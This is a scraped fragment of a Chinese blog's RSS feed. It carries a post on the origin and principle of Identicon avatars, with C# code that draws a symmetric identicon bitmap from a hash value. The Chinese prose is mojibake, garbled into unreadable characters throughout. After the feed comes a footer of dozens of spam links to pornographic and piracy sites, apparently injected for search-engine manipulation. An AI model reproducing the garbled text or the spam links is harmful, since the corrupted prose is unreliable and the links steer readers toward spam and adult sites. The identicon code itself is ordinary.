href="http://www.tkk7.com/crazycoding/" target="_blank">Ying-er</a> 2018-05-23 15:02 <a href="http://www.tkk7.com/crazycoding/archive/2018/05/23/433232.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>Identicon 鐨勭敱鏉ワ紝鍘熺悊涓庡疄鐜?/title><link>http://www.tkk7.com/crazycoding/archive/2018/05/19/433220.html</link><dc:creator>Ying-er</dc:creator><author>Ying-er</author><pubDate>Sat, 19 May 2018 02:33:00 GMT</pubDate><guid>http://www.tkk7.com/crazycoding/archive/2018/05/19/433220.html</guid><wfw:comment>http://www.tkk7.com/crazycoding/comments/433220.html</wfw:comment><comments>http://www.tkk7.com/crazycoding/archive/2018/05/19/433220.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/crazycoding/comments/commentRss/433220.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/crazycoding/services/trackbacks/433220.html</trackback:ping><description><![CDATA[<span style="color: #333333; font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", "Microsoft YaHei", 寰蔣闆呴粦, Arial, sans-serif; white-space: pre-wrap; background-color: #ffffff;"><strong><fieldset><legend>姒傝堪</legend><span style="font-weight: 400;">Identicon 鏄?Don Park 鍦?007騫撮嬈℃兂鍑虹殑銆備篃璁告湁浜涗漢瀵?#8220;Identicon”榪欒瘝姣旇緝闄岀敓錛屽叾瀹炲ぇ瀹墮兘璁よ瘑鐨?#8212;—灝辨槸鍦℅itHub銆丼tack Overflow銆乂2EX榪樻湁Slack涓婄殑閭g鐪嬩技闅忔満鍙堟湁瑙勫緥榪樹笉閲嶆牱鐨勯粯璁ゅご鍍忋備竴鑸殑錛屽鏋滀綘鍦ㄤ竴涓綉绔欐敞鍐屽悗娌℃湁鎸囧畾鑷繁鐨勫ご鍍忥紝緗戠珯浼氫嬌鐢?Gravatar 鎴栬?Identicon 浣滀負浣犵殑榛樿澶村儚銆侴ravatar 澶у閮芥槸鍗冪瘒涓寰嬶紝Identicon 鍗村崈濮跨櫨鎬併?/span><br style="font-weight: 400;" /></fieldset></strong></span><span style="color: #333333; font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", "Microsoft YaHei", 寰蔣闆呴粦, Arial, sans-serif; white-space: pre-wrap; background-color: #ffffff;"> <fieldset><legend><strong>鍘熺悊</strong></legend>wiki 涓婅錛屾渶鍒濈殑 Identicon錛岄氬父鏄皢鐢ㄦ埛鐨処P鍦板潃鍝堝笇鎴愬彲瑙嗗寲鐨勶紝鐢?鍧楀浘鍍忔瀯鎴愮殑鍥懼艦錛屾湇鍔″櫒閫氳繃 Identicon錛屽氨鑳藉浠ュご鍍忕殑褰㈠紡鏉ュ垎杈ㄧ敤鎴鳳紝榪欑鏂規硶鍚屾椂涔熻兘淇濇姢鐢ㄦ埛鐨勯殣縐併傚悗鏉ワ紝鐢辯涓夋柟灝嗗叾琛ㄧ幇褰㈠紡鎵╁睍鑷充簡鍚勭鍥懼艦錛屼簬鏄氨鏈変簡澶у鐪嬪埌鐨勪笉鍚岄鏍肩殑 Identicon 澶村儚銆?/fieldset> <fieldset><legend><strong>瀹炵幇</strong></legend>鎷?Github 鏉ヨ鍚э紝鍦?GitHub 鐨?Blog 涓婃湁瀵?Identicon 榪囩▼鍋氫簡綆鍗曠殑浠嬬粛錛屼粬浠槸灝嗙敤鎴風殑ID鍙栧搱甯屽鹼紝鐒跺悗鏍規嵁鍝堝笇鍊兼瘡涓浣嶇殑濂囧伓鏉ュ喅瀹氬搴斾綅緗笂鐨勫儚绱犵殑寮鍏熾傝繖鏍風敓鎴?鐨勫浘鍍忥紝閰嶄笂鐢卞搱甯屽煎喅瀹氱殑棰滆壊錛屼繚璇佸彲鐢熸垚澶ч噺鐙竴鏃犱簩鐨勫浘鍍忋傛湁涓?<a >Mathematica</a> 鐨勫疄鐜幫紝鎰熷叴瓚g殑鎴熾?/fieldset><br /><strong>闄凚itmap瀹炵幇浠g爜</strong><br /></span><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #0000FF; ">public</span> BitmapSource GenerateIdenticon(Object value)<br />{<br />    <span style="color: #0000FF; ">int</span> width = 9;<br />    <span style="color: #0000FF; ">int</span> height = width;<br />    <span style="color: #0000FF; ">int</span> stride = (PixelFormats.Indexed8.BitsPerPixel * width) / 8;<br />    <span style="color: #0000FF; ">byte</span>[] pixels = <span style="color: #0000FF; ">new</span> <span style="color: #0000FF; ">byte</span>[height * stride];<br />    <span style="color: #0000FF; ">int</span> hash = value.GetHashCode();<br /> <br />    BitmapPalette myPalette = <span style="color: #0000FF; ">new</span> BitmapPalette(<span style="color: #0000FF; ">new</span> Color[] { Colors.White, Colors.LightGray, Colors.LightSeaGreen, Colors.White });<br /> <br />    <span style="color: #0000FF; ">for</span> (<span style="color: #0000FF; ">int</span> y = 0; y < 5; ++y)<br />     <span style="color: #0000FF; ">for</span> (<span style="color: #0000FF; ">int</span> x = y; x < 5; ++x)<br />     {<br />         <span style="color: #0000FF; ">byte</span> color = (<span style="color: #0000FF; ">byte</span>)(hash & 0x03);<br />        hash >>= 2;<br /> <br />        <span style="color: #008000; ">//</span><span style="color: #008000; "> II quadrant</span><span style="color: #008000; "><br /></span>        pixels[x + (y * stride)] = color;<br />        pixels[y + (x * stride)] = color;<br /> <br />        <span style="color: #008000; ">//</span><span style="color: #008000; "> I quadrant</span><span style="color: #008000; "><br /></span>        pixels[(8 - x) + (y * stride)] = color;<br />        pixels[(8 - y) + (x * stride)] = color;<br /> <br />        <span style="color: #008000; ">//</span><span style="color: #008000; "> III quadrant</span><span style="color: #008000; "><br /></span>        pixels[x + ((8 - y) * stride)] = color;<br />        pixels[y + ((8 - x) * stride)] = color;<br /> <br />        <span style="color: #008000; ">//</span><span style="color: #008000; "> IV quadrant</span><span style="color: #008000; "><br /></span>        pixels[(8 - x) + ((8 - y) * stride)] = color;<br />        pixels[(8 - y) + ((8 - x) * stride)] = color;<br />     }<br /> <br />    <span style="color: #0000FF; ">return</span> BitmapSource.Create(width, height, 96, 96, PixelFormats.Indexed8, myPalette, pixels, stride);<br />}</div><img src ="http://www.tkk7.com/crazycoding/aggbug/433220.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/crazycoding/" target="_blank">Ying-er</a> 2018-05-19 10:33 <a href="http://www.tkk7.com/crazycoding/archive/2018/05/19/433220.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>感谢您访问我们的网站,您可能还对以下资源感兴趣:</p> <a href="http://www.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> 主站蜘蛛池模板: <a href="http://glgg99.com" target="_blank">美女被cao免费看在线看网站</a>| <a href="http://aqddv.com" target="_blank">久久99国产综合精品免费</a>| <a href="http://cao9999.com" target="_blank">91嫩草国产在线观看免费</a>| <a href="http://jufandev.com" target="_blank">亚洲嫩模在线观看</a>| <a href="http://www-15706.com" target="_blank">99精品视频免费观看</a>| <a href="http://hwafarda.com" target="_blank">久久被窝电影亚洲爽爽爽</a>| <a href="http://323c.com" target="_blank">日本免费中文视频</a>| <a href="http://nfrxfarm.com" target="_blank">婷婷亚洲综合五月天小说</a>| <a href="http://2255325.com" target="_blank">日本免费一区二区久久人人澡</a>| <a href="http://c4665.com" target="_blank">亚洲国产成人久久精品动漫</a>| <a href="http://df8848.com" target="_blank">91香蕉国产线在线观看免费</a>| <a href="http://hssw1688.com" target="_blank">亚洲视频在线观看网站</a>| <a href="http://hwafarda.com" target="_blank">国产在线a免费观看</a>| <a href="http://bentuxinli.com" target="_blank">99亚偷拍自图区亚洲</a>| <a href="http://xyyfamily.com" target="_blank">在线观看视频免费国语</a>| <a href="http://26672814.com" target="_blank">国产亚洲视频在线观看网址</a>| <a href="http://ghiearning.com" target="_blank">日韩精品免费一区二区三区</a>| <a href="http://1314xxx.com" target="_blank">国产精品亚洲小说专区</a>| <a href="http://xass1.com" target="_blank">国产成人A亚洲精V品无码</a>| <a href="http://dou18.com" target="_blank">午夜老司机永久免费看片</a>| <a href="http://aqd1987.com" target="_blank">亚洲国产高清在线精品一区 </a>| <a href="http://zj1069.com" target="_blank">久久99青青精品免费观看</a>| <a href="http://9522952.com" target="_blank">亚洲精品高清视频</a>| <a href="http://chandou8.com" target="_blank">成人性生交大片免费看无遮挡</a>| <a href="http://17soco.com" target="_blank">国产亚洲精品国产福利在线观看</a>| <a href="http://yule4.com" target="_blank">亚洲视频在线精品</a>| <a href="http://hn-hshb.com" target="_blank">无码精品一区二区三区免费视频 </a>| <a href="http://0827fang.com" target="_blank">国产无遮挡又黄又爽免费视频</a>| <a href="http://22youjizz.com" target="_blank">亚洲av无码专区国产不乱码 </a>| <a href="http://mqiuxia66.com" target="_blank">2022国内精品免费福利视频</a>| <a href="http://wo93xyz.com" target="_blank">亚洲AV美女一区二区三区</a>| <a href="http://www-9970.com" target="_blank">国产一卡二卡3卡四卡免费 </a>| <a href="http://0101av.com" target="_blank">日本亚洲欧洲免费天堂午夜看片女人员</a>| <a href="http://55xxb.com" target="_blank">亚洲色图在线播放</a>| <a href="http://9527paotui.com" target="_blank">午夜视频免费成人</a>| <a href="http://www-533999.com" target="_blank">中文日本免费高清</a>| <a href="http://fenglibin.com" target="_blank">亚洲香蕉久久一区二区</a>| <a href="http://038037.com" target="_blank">中文字幕无码精品亚洲资源网</a>| <a href="http://pumanpig.com" target="_blank">av无码国产在线看免费网站</a>| <a href="http://nonobo.com" target="_blank">午夜肉伦伦影院久久精品免费看国产一区二区三区 </a>| <a href="http://bjymt.com" target="_blank">亚洲一卡2卡3卡4卡5卡6卡</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>